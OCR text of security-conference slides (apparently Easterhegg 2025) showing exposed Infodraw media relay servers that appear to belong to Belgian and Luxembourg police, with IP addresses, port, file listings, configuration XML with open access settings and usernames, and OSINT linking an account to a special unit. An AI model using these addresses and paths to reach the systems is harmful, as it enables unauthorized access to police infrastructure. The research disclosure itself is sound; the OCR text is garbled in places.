@ |Pll'lf0 Products v  Solutions v  Why IPinfo? v  Pricing Resources v Docs Login m

37.230121185

Kl Hasselt, Flanders, Belgium

B webserver

‘ Q ‘ ‘ Need more data or want to access it via APl or data downloads? Sign up to get free access Sign up for free »
Summary >
Summary

Geolocation ASN AS201205 - Fluvius System Operator CV
Hostname mail.politielrh.be j

Privacy
Range 37.230120.0/21

ASN Company INFRAX cvba

Quelle: https://ipinfo.io/37.230.121.185

Easterheg@025 (EH22) TimPh Schéafers



Quelle: https://www.politie.be/5907/

Fall 1 Belgiel)

politielrh.beC www.politie.be/5907

N & %

25 politie.be/5907/

0 Lokale Politie

Limburg Regio Hoofdstad

Nieuws

Jouw wijkinspecteur Contactformulier

Vragen ~

Easterheg@025 (EH22) TimPh Schafers

Verkeer v

Kantoren

Overige informatie en diensten van de overheid: ww

Overons ¥ Contact v O\ Zoeken

/N

Werken bij LRH

42



Quelle: Eigene Bildschirmaufzeichnung

Fall 1 Belgiele,

mis Media Relay System X +

<« C ¥ A& 37.230.121.185

7.1.0.0
p time ‘118 weeks and 4 days
r address 38.97.116.242

Easterheg@025 (EH22)

TimPh Schafers
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Quelle: Eigene Bildschirmaufzeichnung

Fall 1 Belgiel)s)

User directory of /Users/

. — % WIKIPEDIA —
Main Menu . ;\-u“ De vrije encyclopedie ‘ Q Doorzoek Wikipedia Zoeken
Name Modified Time ..
K Politiezone HAZODI 2 Talen toevoe
__ : = Inhoud be: i . : 4d
a $SEAF9192D6EG4EDG9F 1F393F23BB 1630 2022/11/04 14:54:53 nhou verbergen Artikel Overleg Lezen Bewerken Brontekst bewerken Geschiedenis weergeven Hulpmidd
() S6A9FD20936394037918449DD789ES91D 2024/12/10 20:40:20 TP Uit Wikdpedia, ce vrle encyciopedie
Afdeli
@ Administrator 2025/01/13 17:49:26 < hemjer: De Politiezone HAZODI (zonenummer 5370) was een Belgische politiezone, die bestond uit Politiezone HAZODI
chandaa . . .
E] Adiinistiitor HAZODI 2025/01/13 17:49:27 - de lelb.urgse gemeenten Hasselt, Zonho.\jren en Dllepenbeek,.waarvan Hasselt de grootste is. Belgische politiezone
Trivia De politiezone behoorde tot het gerechtelijk arrondissement Limburg. Gemeenten Hasselt, Zonhoven,
a AdminTel 2025/01/13 17:49:28 Externe link Diepenbeek
De zone verzorgde de basispolitiezorg voor in totaal 115.143 inwoners (op 1 januari 2013), - .
£ All Users 2024/12/09 10:21:05 > verzorg polfiezorg ©p 1) > Provincie % Limburo
verspreid over een oppervlakte van 182,77 km?. De zone was een van de 195 zones van de Korpschef  Philip Pirard
D Default 2018/07/25 10:35:45 lokale politie in Belgié tot het op 1 januari 2016 fuseerde samen met de zone West-Limburg Zonenummer 5370
() Default User 2018/07/25 10:35:45 tot de nieuwe politiezone Limburg Regio Hoofdstad. Website  htip://www lokalepolit
e/53702
- » / 20 . . .
E] ksnproxy 2020/09/22 16:20:07 HAZODI werd geleid door een korpschef. Het beheer en de organisatie van de zone werd Lijst van politiezones in Beig
@ Public 2024/02/13 15:48:34 uitgevoerd door het politiecollege, dat bestond uit de burgemeesters van Hasselt, Zonhoven
.. en Diepenbeek en de korpschef. De burgemeester van Hasselt was voorzitter van het politiecollege.
desktop.ini 2016/07/16 15:21:29 17 P P g P ?

Het hoofdcommissariaat van de politiezone was gelegen te Hasselt aan de Thonissenlaan 70, net langs de Groene Boulevard.
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Quelle: Eigenes Bildschirmfoto

Fall 1 Belgien

s 37.230,121.185:12654/user/File X +

(_

Easterheg@025 (EH22)

C 1 & 37.230.121.185

</mrs:MediaRecorderConfig>
—mrs:SoftwareUpdatesConfig>
<mrs:RootDirectory>C:\ProgramData\MRS\SoftwareUpdates</mrs:RootDirectory> — | iy lf-}
<mrs:EnableSoftwareUpdates>False</mrs:EnableSoftwareUpdates> = DIG‘]J_E l I
</mrs:SoftwareUpdatesConfig>
—<mrs: MediaRecorderStatus>
<mrs:Recordings/>
</mrs:MediaRecorderStatus>
—<mrs:AccessPermissionTables>
<mrs:DefaultDeviceAccessLevel>Administrative</mrs: DefaultDeviceAccessLevel>
<mrs:AllowUnlistedDevices>True</mrs: AllowUnlistedDevices>
<mrs: AllowUnlistedUsers>True</mrs: AllowUnlistedUsers>
—<mrs:UserPasswordTable>

<mrs:UserPasswordEntry mrs:PasswordHash=" mrs:UserName="Dronel"/>
<mrs:UserPasswordEntry mrs:PasswordHash=" " mrs:UserName="Admin"/>
<mrs:UserPasswordEntry mrs:PasswordHash=" mrs:UserName="Lrh"/>
<mrs:UserPasswordEntry mrs:PasswordHash=" mrs:UserName="Field"/>
<mrs:UserPasswordEntry mrs:PasswordHash=" " mrs:UserName="Extern"/>

</mrs:UserPasswordTable>
<mrs:DevicePasswordTable/>
<mrs:DefaultDeviceAccessPermissionsTable/>
<mrs:DefaultUserAccessPermissionsTable/>
<mrs:UserDeviceAccessPermissionsTable/>
</mrs:AccessPermissionTables>
—<mrs:SoftwareLicensing>

—<mrs:SoftwareLicenseList mrs:LicenseActivationTime="2022/ ">
INFODRAW USER LICENSE: REV:1; HARDWARE _UID:E : FEATURE:SERVER; NUM_DEVICES:5: TIME_LIMIT:UNTIL
SIGNATURE:b 58 fOe:

</mrs:SoftwareLicenseList>
</mrs:SoftwareLicensing>
—<mrs:LoggingParameters>
<mrs:LogSeverity>Warning</mrs:LogSeverity>
<mrs:MaxNumberOfLogMessages>200</mrs:MaxNumberOfLogMessages>
—<mrs:LogViewer>

mmwer AntaRafeachwFaloac/mees AntaRalfeach—
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Quelle: https://www.shodan.io/host/80.90.63.10

Fall 2 Luxemburg
80.90.63.10

Easterheg@025 (EH22)

@ General Information

Country

City
Organization
ISP

ASN

B Regular View ‘ >_ Raw Data

Luxembourg

Luxembourg

Police Grand-Ducale

Visual Online S.A.

AS9008

TimPh Schafers

Dippach

‘ O Timeline

Roedgen

46



Fall 2 Luxemburc

@ Secure Site Not Available +

<« C ¥ A ntips//80.90.63.10

HTTPS-Only Mode Alert

Secure Site Not Available

You've enabled HTTPS-Only Mode for enhanced security, and a HTTPS version of 80.90.63.10:12654 is not available.

What could be causing this?

* Most likely, the website simply does not support HTTPS.

e It's also possible that an attacker is involved. If you decide to visit the website, you should not enter any sensitive
information like passwords, emails, or credit card details.

If you continue, HTTPS-Only Mode will be turned off temporarily for this site.

Continue to HTTP Site

Easterheg@025 (EH22) TimPh Schafers




Fall 2 Luxemburg

<mrs:RootDirectory>/usr/infodraw/bin/../Data/SoftwareUpdates</mrs:RootDirectory>

User directo ry Of /home/gatoZ/ <mrs:EnableSoftwareUpdates>False</mrs:EnableSoftwareUpdates>

</mrs:SoftwareUpdatesConfig>
—mrs:MediaRecorderStatus>
<mrs:Recordings/>
</mrs:MediaRecorderStatus>
—mrs:AccessPermissionTables>
<mrs:DefaultDeviceAccessLevel>Administrative</mrs: DefaultDeviceAccessLevel>

Main Menu

Name Modified Time Size <mrs: AllowUnlistedDevices>True</mrs: AllowUnlistedDevices=>
’ » <mrs:AllowUnlistedUsers>True</mrs: AllowUnlistedUsers>
—<murs:UserPasswordTable>
a / ’/ 25 A5
s B ARDON=l A0S <mrs:UserPasswordEntry mrs:PasswordHash=" ' mrs:UserName="gato2"/>
€ cache 2019/08/27 08:35:55 <mrs:UserPasswordEntry mrs:PasswordHash=" " mrs:UserName="bill"/>
E-J .config 2019/08/28 06:33:45 </mrs:UserPasswordTable>
: ) SR Py —<mrs:DevicePasswordTable>
Jbash_history 2025/03/06 06:10:03 793 bytes Delete <mrs:DevicePasswordEntry mrs:DeviceID="C " mrs:PasswordHash=" ">
.sudo_as_admin_successful 2019/08/27 08:36:25 0 bytes Delete </mrs:DevicePassword Table>
.viminfo 2019/08/28 06:31:04 3.3 KB Delete <mrs:DefaultDeviceAccessPermissionsTable/>
bashre 2018/04/04 18:30:26 3.7 KB Delete <mrs={!efa;ltl:se?cceS;Perﬂ}i%ionsTTi:le/-} N
g~ 104/ 30: E . —<mrs:UserDeviceAccessPermissionsTable> o ‘
et 20180404 18:30:26 807 tytes Betee —<mrs:AccessPermissionEntry mrs:DeviceAccessLevel="Administrative">
.bash_logout 2018/04/04 18:30:26 220 bytes Delete

<mrs:UserName>gato2</mrs: UserName>
<mrs:Devicel D> Jmrs:Devicel D>

2 SNJ 2RSNJ 41| Adad
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gato2

Quelle: https://www.google.de/search?q

Fall 2 Luxemburg

Google

gato2

All  Images Videos Products Productsites Shortvideos News : Mor Tools

Images

NENO Gato 2 Babyphone mit ... Neno Mobile babysitter Gato2...  Gato2 Elektroniczna inteligent...

€ Amazon.de Q) galaxus.at - @ senmalucha.pl

Show more images v

Amazon.de

https://www.amazon.de » Neno-Sc... - Translate this page
NENO Gato 2 Babyphone mit Kamera 2 Zoll Baby Monitor ...
NENO Gato 2 Babyphone mit Kamera 2 Zoll Baby Monitor Display, 2-Wege Audio,
Nachtsicht, 8 Schiaflieder, Temperatursensor, VOX-Modus, Signalreichweite 50 m ...
€79.90 - In stock



gato2

Quelle: https://www.google.de/search?q

Fall 2 Luxemburg

GOOQ'@ gato2 luxembourg

All  Images News Videos Shortvideos Forums Web : More

Including results for gato luxembourg
Search only for gato2 luxembourg

Wikipedia
https:/!/de wikipedia.org » wiki » U.__ - Translate this page

Unité Spéciale de la Police
Die Unité Spéciale de la Police (USP), oder auf Deutsch Spezialeinheit der Polizei, ist
die Spezialeinheit der Polizei in Luxemburg.

Easterheg@025 (EH22) TimPh Schafers
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Fall 2 Luxemburg

|wiy dsn/sanun-1aa21A18S/921j0d-8110A/8p/N| ollgnd-821j0d//:sdny

+ 921|0d €| 9p 9eINEY%ED%AS 6Y%ED%HUN/MIM/B10 eIpadim ap//:sdny
ClElle)
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